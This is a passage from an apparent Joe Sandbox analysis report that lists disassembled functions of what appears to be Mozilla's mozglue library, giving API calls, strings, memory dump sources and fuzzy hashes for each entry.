SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C949824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C949670
NtMapViewOfSection, xrefs: 6C949701
ntdll.dll, xrefs: 6C9496E3
MapViewOfFileNuma2, xrefs: 6C9497B1

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction ID: 888f558f7866f116365d849e46472fc0183c9dd8cfd0c6d7854e311e93e060c7
Opcode Fuzzy Hash: f31873cc4298a3326680d34e5b17916409132b0add1e7f05b7ccb7eb81b63ed7
Instruction Fuzzy Hash: 8041D579704205ABDF00CFA9D9C5A9777B8FB89B1CF218169ED0597B80D730E904CBA5

Function 6C931E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931EC1
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931EE1
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C931F38
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C931F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C931F83
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FC0
EnterCriticalSection.KERNEL32(6C9BE784), ref: 6C931FE2
LeaveCriticalSection.KERNEL32(6C9BE784), ref: 6C931FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C932019

Strings

MOZ_CRASH(), xrefs: 6C932000

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction ID: e393ac2edb458ad3a3218530af0339a12a907e7b4f2376534a0ca5ea0a496b89
Opcode Fuzzy Hash: 39427c2da8512726a517375325e9502348da7445d14e6d9e1cbbb9c05ccc9db8
Instruction Fuzzy Hash: BF41E071B04329AFDB009FA9C8C8B6B37B9EB5A708F200065F90897781DB71D8048BD9

Function 6C980000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C980039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C980041
GetCurrentThreadId.KERNEL32 ref: 6C980075
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C980082
moz_xmalloc.MOZGLUE(00000048), ref: 6C980090
free.MOZGLUE(?), ref: 6C980104
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C98011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C98005B

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: e61eaff485a4946ce9e746565f7575c5b5d2a291c3b60c1fe4757bce03242736
Instruction ID: 697352e9c936ea72e88fc40d1cf39cf4aa305f1cddd466ff5d4356ce34f76c7d
Opcode Fuzzy Hash: e61eaff485a4946ce9e746565f7575c5b5d2a291c3b60c1fe4757bce03242736
Instruction Fuzzy Hash: 0341B079606244EFCB10CF24C884A9BBBF1FF59318F50491DE95A93B50D731E914CB95

Function 6C947E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C947EA7
malloc.MOZGLUE(00000001), ref: 6C947EB3

Part of subcall function 6C94CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C94CB49
Part of subcall function 6C94CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C94CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C947EC4
mozalloc_abort.MOZGLUE(?), ref: 6C947F19
malloc.MOZGLUE(?), ref: 6C947F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C947F4D

Strings

d, xrefs: 6C947F89

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction ID: 7db73936cf6c8a748e6de4cdf67231608c6ecadaa4dcb667cba806a2b619af00
Opcode Fuzzy Hash: 7cbd649984ab050ad0c4c5e910c88ef9e7a3017ac5c730ab3c96dd0f22ce4663
Instruction Fuzzy Hash: 3C31FA61E0478897DB009B68DC049FEB778EFA5208F159269ED4557712FB31E588C390

Function 6C943E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C943EEE
RtlFreeHeap.NTDLL ref: 6C943FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C944006
RtlFreeHeap.NTDLL ref: 6C9440A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C9440C2
RtlFreeHeap.NTDLL ref: 6C944134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C943CCC), ref: 6C944157

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: c09a734219b07cf2b234f0adaf757442157a458d341ed95c680db0ba8614c80e
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1BA181B1A00215CFEB40CF68C880669B7F5FF58318F258199D909AF752D772E996CFA0

Function 6C932030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C953F47,?,?,?,6C953F47,6C951A70,?), ref: 6C93207F
memset.VCRUNTIME140(?,000000E5,6C953F47,?,6C953F47,6C951A70,?), ref: 6C9320DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C953F47,6C951A70,?), ref: 6C93211A
EnterCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C932145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C953F47,6C951A70,?), ref: 6C9321BA
EnterCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C9321E0
LeaveCriticalSection.KERNEL32(6C9BE744,?,6C953F47,6C951A70,?), ref: 6C932232

Strings

MOZ_CRASH(), xrefs: 6C93227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C932253, 6C932268

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: b5cdda298e10c792517296b392cb19edff3ac628b765e24641e0c031f882da28
Instruction ID: a8a2bd1d1c4fe497a56101119cae68a8ed094895082b3ee68594bd4d2bfab02c
Opcode Fuzzy Hash: b5cdda298e10c792517296b392cb19edff3ac628b765e24641e0c031f882da28
Instruction Fuzzy Hash: B2610431F046269FCB04CAA8CD88B6E73B5EF95318F254279E528A7A95D770D900C7C5

Function 6C9348E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C97483A,?), ref: 6C934ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C97483A,?), ref: 6C934AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C97483A,?), ref: 6C934A82

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C97483A,?), ref: 6C934A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C97483A,?), ref: 6C934A35

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C97483A,?), ref: 6C934A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C97483A,?), ref: 6C934AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C97483A,?), ref: 6C934B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C97483A,?), ref: 6C934B2C

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: cedf6b77177abb0904024bfc486fef7e6b98e364b24d000bcbaa91791131b9b8
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 8C715AB19007069FCB54CF68C480AAABBF5FF19308B10463ED15ADBB41E732E959CB80

Function 6C989D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C988273), ref: 6C989D65
free.MOZGLUE(6C988273,?), ref: 6C989D7C
free.MOZGLUE(?,?), ref: 6C989D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C989E0F
free.MOZGLUE(6C98946B,?,?), ref: 6C989E24
free.MOZGLUE(?,?,?), ref: 6C989E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C989EC8
free.MOZGLUE(6C98946B,?,?,?), ref: 6C989EDF
free.MOZGLUE(?,?,?,?), ref: 6C989EF5

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction ID: decafedb8745134e9055ee7e815ea09424198a12ba34ba7125bbde370fe31d71
Opcode Fuzzy Hash: 28f3349516102688c946323a8ad5f76e2650494f4b02335c1f485c23246c6b31
Instruction Fuzzy Hash: 2A7190B090AB419BD712CF18C48055BF7F4FFA9315B459A1DE89A5BB02EB30F885CB91

Function 6C98DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C98DDCF

Part of subcall function 6C96FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C96FA4B

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE0D
free.MOZGLUE(00000000), ref: 6C98DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C98DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF32

Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DB86
Part of subcall function 6C98DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C98DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C97DEFD,?,6C944A68), ref: 6C98DF65
free.MOZGLUE(?), ref: 6C98DF80

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction ID: 8816c55d2c67a83e31728214590c5ac2899b4b17a61099b8d2cd0da76fc1a444
Opcode Fuzzy Hash: 42f6fdde984fa44aa7af3be34a5faf388cf70b92221c86214019c1bd7b323ac6
Instruction Fuzzy Hash: 0151B8737076029BD7119B18D8806AF7376BFA1318F96091ED45A53B01D731F919CBA2

Function 6C995D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995DC9
std::_Facet_Register.LIBCPMT ref: 6C995DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C995C8C,?,6C96E829), ref: 6C995E45

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction ID: 28f8c8ea6df71b3a95d732e9d8dfc918fc52ab01e9bd249d1c4436773c609d9f
Opcode Fuzzy Hash: 34bbfc769a96d3ad850ee5fe92b3930a9c741bf9a0e79b33196d5e274e6d2bcb
Instruction Fuzzy Hash: B641C2747042049FCB00DFA5C8D8AAF77B9EF89319F584168E50A9B791EB35ED05CB60

Function 6C96CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9331A7), ref: 6C96CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C96CFA4, 6C96CFB8
<jemalloc>, xrefs: 6C96CF9F, 6C96CFB3

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction ID: 9331bcec9bf3b8643b0971cc5757e92d893381772475df7000a511b120baa072
Opcode Fuzzy Hash: 68cec1371ac464046623684d30e535b46504b1f2ce009ba0bd2343a1f77d6e44
Instruction Fuzzy Hash: 3A31C631B452056BFF11AEA68C85B6F7B79BB41B58F304015F614EBEC0DB70E8108BA5

Function 6C93ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C93F100: LoadLibraryW.KERNEL32(shell32,?,6C9AD020), ref: 6C93F122
Part of subcall function 6C93F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C93F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C93ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C93EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C93EDCC
CreateFileW.KERNEL32 ref: 6C93EE08
free.MOZGLUE(00000000), ref: 6C93EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C93EE32

Part of subcall function 6C93EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C93EBB5
Part of subcall function 6C93EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C96D7F3), ref: 6C93EBC3
Part of subcall function 6C93EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C96D7F3), ref: 6C93EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C93EDC1

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction ID: ab620c2bbe906390e62d471695fb9b3fc020350b5e1b559a1af027dd80dfce44
Opcode Fuzzy Hash: 08aace91c8ddb9ea75d4eade000ce72e37a3d3691ca728e22629a02998d75aba
Instruction Fuzzy Hash: 1751D271D052249BDB11DF68C8407EEB7B4AF69318F44942DE8596B780EB30ED48CBE2

Function 6C9AA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA565

Part of subcall function 6C9AA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9AA4BE
Part of subcall function 6C9AA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9AA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9AA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9AA6B6

Strings

z, xrefs: 6C9AA6AE
0, xrefs: 6C9AA5FB

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction ID: 57411f8f47716a75bc33d3eefaa91fad1ead05e38c34480bf9555c6c66e5e94b
Opcode Fuzzy Hash: dd3b913eb232a808d34db29db9ec080eef31934aca9a55dd7e13164d9b6eb8fa
Instruction Fuzzy Hash: 304158719087459FC341CF28C080A9FBBE5BF99354F409A2EF49987650EB30D549CF82

Function 6C9378C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9B008B), ref: 6C937B89
free.MOZGLUE(?,6C9B008B), ref: 6C937BAC

Part of subcall function 6C9378C0: free.MOZGLUE(?,6C9B008B), ref: 6C937BCF

free.MOZGLUE(?,6C9B008B), ref: 6C937BF2

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

